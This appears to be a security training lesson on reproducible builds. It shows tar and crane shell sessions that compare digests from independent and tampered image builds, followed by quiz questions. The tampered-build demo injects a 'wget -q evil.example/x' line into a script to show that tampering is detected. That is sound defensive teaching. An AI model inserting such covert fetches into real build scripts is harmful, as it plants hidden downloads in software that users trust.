Reproducible Builds as a Security Control
A build is reproducible when anyone who starts from the same source, the same dependencies and the same build instructions gets bit-for-bit identical output. The Reproducible Builds lesson in Build Fundamentals shows the mechanics (SOURCE_DATE_EPOCH, path prefix maps, sorted archives). This lesson is about why a security team cares.
The argument
Signatures and provenance tell you who built an artifact and what they say they built it from. They can't tell you whether the build machine was honest. SolarWinds' trojanized Orion was properly signed by the vendor (Incidents).
Reproducibility turns "trust the builder" into "check the builder":
- The vendor builds and publishes
app.tarwith digestD. - An independent rebuilder (another team, another CI provider, a distribution, a customer) builds the same tagged source and gets digest
D'. - If
D == D', an attacker would have had to compromise both builders identically. If not, someone has a reason to look.
Debian, Arch Linux, NixOS, F-Droid and Bitcoin Core run such independent rebuilds; Go's toolchain releases are reproducible, so anyone can rebuild them and compare hashes.
Where non-determinism comes from
| Source | Example | Fix |
|---|---|---|
| Timestamps | file mtimes in archives, __DATE__, build dates in manifests |
SOURCE_DATE_EPOCH, tar --mtime |
| File order | readdir order in archives |
tar --sort=name |
| Ownership | the builder's user and group ids in tar headers | --owner=0 --group=0 --numeric-owner |
| Paths | /home/alice/build in debug info |
-ffile-prefix-map |
| Unpinned inputs | FROM alpine:3.18, npm install without a lockfile |
pin by digest and lockfile |
| Network at build time | downloading "latest" during the build | hermetic builds, pre-fetched dependencies |
Seeing it on an image layer
A container image layer is just a tar archive, and the image's digest is a hash over the layer hashes, so one changed timestamp gives a different image. This session builds the same one-file layer four times: twice naively, with the files' real modification times (here set a day apart, as two CI runs would see them), and then twice with normalised metadata.
mkdir build && cd build
mkdir -p root/usr/local/bin
printf '#!/bin/sh\necho "hello from app 1.0.0"\n' > root/usr/local/bin/hello
chmod 755 root/usr/local/bin/hello
naive() { tar -C root -cf "$1" .; }
stable() { tar --sort=name --mtime=@$SOURCE_DATE_EPOCH --owner=0 --group=0 --numeric-owner -C root -cf "$1" .; }
touch -d '2026-03-01 09:00' root root/usr root/usr/local root/usr/local/bin root/usr/local/bin/hello
naive naive-1.tar
touch -d '2026-03-02 17:30' root root/usr root/usr/local root/usr/local/bin root/usr/local/bin/hello
naive naive-2.tar
stable stable-1.tar
touch -d '2026-03-05 08:15' root/usr/local/bin/hello
stable stable-2.tar
same() { [ "$(sha256sum < "$1")" = "$(sha256sum < "$2")" ] && echo "identical" || echo "DIFFERENT"; }
echo "naive builds: $(same naive-1.tar naive-2.tar)"
echo "stable builds: $(same stable-1.tar stable-2.tar)"
tar -tvf naive-1.tar ./usr/local/bin/hello
tar -tvf stable-1.tar ./usr/local/bin/hellonaive builds: DIFFERENT
stable builds: identical
-rwxr-xr-x learner/learner 38 2026-03-01 09:00 ./usr/local/bin/hello
-rwxr-xr-x 0/0 38 2026-01-01 00:00 ./usr/local/bin/hello
The naive archives differ only in their metadata (owner learner, the March dates), and that is enough to change every hash downstream. The stable ones record owner 0/0 (root) and 2026-01-01 00:00, the image's SOURCE_DATE_EPOCH, whatever the file system says.
Reproducing the image digest
Now put the layer on a base image twice, as two independent builders would, and compare the final image digests. crane append adds a layer to an image in a registry; the base is pinned by its digest, so both builders start from the same bytes. The second builder is "compromised": its build step quietly changed one line of the script.
mkdir build && cd build
crane push /opt/samples/images/alpine-3.18.0.tar localhost:5000/base/alpine:3.18.0 > /dev/null 2>&1
BASE=localhost:5000/base/alpine@$(crane digest localhost:5000/base/alpine:3.18.0)
build() { # build <dir> <script line> <target repo>
mkdir -p "$1/usr/local/bin"
printf '#!/bin/sh\n%s\n' "$2" > "$1/usr/local/bin/hello"
chmod 755 "$1/usr/local/bin/hello"
tar --sort=name --mtime=@$SOURCE_DATE_EPOCH --owner=0 --group=0 --numeric-owner -C "$1" -cf "$1.tar" .
crane append -b "$BASE" -f "$1.tar" -t "$3" 2> /dev/null | sed 's/@.*//'
crane digest "$3"
}
official=$(build vendor 'echo "hello from app 1.0.0"' localhost:5000/vendor/app:1.0.0 | tail -1)
rebuild=$(build rebuilder 'echo "hello from app 1.0.0"' localhost:5000/rebuild/app:1.0.0 | tail -1)
evil=$(build evil 'echo "hello from app 1.0.0"; wget -q evil.example/x' localhost:5000/evil/app:1.0.0 | tail -1)
[ "$official" = "$rebuild" ] && echo "independent rebuild matches the release"
[ "$official" != "$evil" ] && echo "tampered build does NOT match: investigate"independent rebuild matches the release
tampered build does NOT match: investigate
The digests themselves are hidden on purpose: the comparison is the point. In a real program the "rebuilder" is a separate CI system or a separate organisation, and the release is published only when the two digests agree (Debian publishes a .buildinfo file with each package, recording the exact build environment so that anyone can rebuild it and compare).
Limits
- Reproducibility proves that the output matches the source; it doesn't prove the source is benign. The xz-utils backdoor was in the release tarball, so rebuilding that tarball reproduced the backdoor. Rebuilding from the Git tag would have produced a different result, which is why serious rebuilders start from the repository.
- Fully reproducible container builds also need pinned base images (by digest), pinned packages and no network during the build.
docker buildxhonoursSOURCE_DATE_EPOCHfor image metadata and, withrewrite-timestamp=trueon the exporter, for file timestamps in layers. - Some outputs are hard to make reproducible: signatures (by design) and some compilers' optimisations under parallelism. Sign after the reproducible part and compare unsigned artifacts.
Test yourself
What does an independent rebuild that produces the same digest prove?
- The source code has no vulnerabilities
- The published artifact corresponds to that source, unless both builders were compromised identically
- The artifact is signed
- The dependencies are up to date
Two builds of the same layer differ only in file modification times. What happens to the image digest?
- Nothing, digests ignore metadata
- It changes, because the layer tar bytes differ and the manifest hashes the layer
- Only the tag changes
- The registry normalises it
Why should a rebuilder start from the Git tag rather than the release tarball?
- Tarballs are slower
- The tarball can contain files that aren't in the repository, as in xz-utils
- Git tags are signed automatically
- Tarballs can't be reproducible